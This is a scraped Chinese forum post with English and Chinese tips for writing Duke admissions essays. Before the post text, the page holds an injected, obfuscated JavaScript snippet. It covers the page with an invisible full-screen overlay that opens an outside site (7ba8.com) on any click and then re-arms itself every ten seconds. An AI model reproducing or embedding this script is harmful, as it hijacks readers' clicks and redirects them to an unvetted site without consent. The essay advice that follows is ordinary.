标题: duke ao谈Essay写作要点 [打印本页] 作者: 红尘幽谷 时间: 2013-6-9 13:05 标题: duke ao谈Essay写作要点 <script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>虽然有些不合时宜，处于1不尴不尬的等offer阶段，in which 15er们还没真正开始准备些essay。但15er以及以后一定会用的着的,可收藏着先~
14er不妨也看看,顺带回忆下“当年”我们写essay绞尽脑汁的艰辛。其实现在回想起还颇有感慨的~偶是俺一个一个字打出来的 没有辛劳也有苦劳啊~
首先是Important to remember:
1 You need to be very present in your essay. (主要指那些写significant person 的童鞋，会犯强调别人而忽略自己的错误)
2 admissions officer will read every word. So make sure YOU read every word before hitting SEND. Also, it is best to let 2 OTHER PEOPEL read every word as well before you submit a final essay.
3 creativity counts-- but not at the expense of an essay that carries your message. Is it memorable?
4 Respect the 250 word minimum requirement- but be mindful of the length.
5 Write for your audience! Admissions professionals, university faculty member, student readers and scholarship officers may all be reaeding your essay. (她想说的是 不要offence anyone)
6 Get to the point! don't just meander for 300 words showing off nice prose.
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